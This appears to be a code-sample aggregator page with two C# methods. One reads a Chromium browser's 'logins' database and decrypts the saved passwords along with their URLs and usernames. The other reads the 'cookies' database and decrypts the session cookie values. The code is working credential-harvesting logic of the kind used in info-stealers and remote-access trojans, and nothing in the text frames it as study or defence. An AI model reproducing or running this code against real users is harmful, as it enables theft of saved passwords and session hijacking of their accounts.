Exemple #1
0
        public static List <RecoveredAccount> Passwords(string datapath, string browser)
        {
            List <RecoveredAccount> data        = new List <RecoveredAccount>();
            SQLiteHandler           SQLDatabase = null;

            if (!File.Exists(datapath))
            {
                return(data);
            }

            try
            {
                SQLDatabase = new SQLiteHandler(datapath);
            }
            catch (Exception)
            {
                return(data);
            }

            if (!SQLDatabase.ReadTable("logins"))
            {
                return(data);
            }

            string host;
            string user;
            string pass;
            int    totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host = SQLDatabase.GetValue(i, "origin_url");
                    user = SQLDatabase.GetValue(i, "username_value");
                    pass = Decrypt(SQLDatabase.GetValue(i, "password_value"));

                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(user) && pass != null)
                    {
                        data.Add(new RecoveredAccount
                        {
                            Url         = host,
                            Username    = user,
                            Password    = pass,
                            Application = browser
                        });
                    }
                }
                catch (Exception)
                {
                    // TODO: Exception handling
                }
            }

            return(data);
        }
Exemple #2
0
        public static List <ChromiumCookie> Cookies(string dataPath, string browser)
        {
            string datapath = dataPath;

            List <ChromiumCookie> data        = new List <ChromiumCookie>();
            SQLiteHandler         SQLDatabase = null;

            if (!File.Exists(datapath))
            {
                return(data);
            }
            try
            {
                SQLDatabase = new SQLiteHandler(datapath);
            }
            catch (Exception)
            {
                return(data);
            }

            if (!SQLDatabase.ReadTable("cookies"))
            {
                return(data);
            }

            string host;
            string name;
            string value;
            string path;
            string expires;
            string lastaccess;
            bool   secure;
            bool   http;
            bool   expired;
            bool   persistent;
            bool   priority;

            int totalEntries = SQLDatabase.GetRowCount();

            for (int i = 0; i < totalEntries; i++)
            {
                try
                {
                    host       = SQLDatabase.GetValue(i, "host_key");
                    name       = SQLDatabase.GetValue(i, "name");
                    value      = Decrypt(SQLDatabase.GetValue(i, "encrypted_value"));
                    path       = SQLDatabase.GetValue(i, "path");
                    expires    = SQLDatabase.GetValue(i, "expires_utc");
                    lastaccess = SQLDatabase.GetValue(i, "last_access_utc");

                    secure     = SQLDatabase.GetValue(i, "secure") == "1";
                    http       = SQLDatabase.GetValue(i, "httponly") == "1";
                    expired    = SQLDatabase.GetValue(i, "has_expired") == "1";
                    persistent = SQLDatabase.GetValue(i, "persistent") == "1";
                    priority   = SQLDatabase.GetValue(i, "priority") == "1";


                    if (!String.IsNullOrEmpty(host) && !String.IsNullOrEmpty(name) && !String.IsNullOrEmpty(value))
                    {
                        data.Add(new ChromiumCookie
                        {
                            HostKey       = host,
                            Name          = name,
                            Value         = value,
                            Path          = path,
                            ExpiresUTC    = expires,
                            LastAccessUTC = lastaccess,
                            Secure        = secure,
                            HttpOnly      = http,
                            Expired       = expired,
                            Persistent    = persistent,
                            Priority      = priority,
                            Browser       = browser
                        });
                    }
                }
                catch (Exception)
                {
                }
            }

            return(data);
        }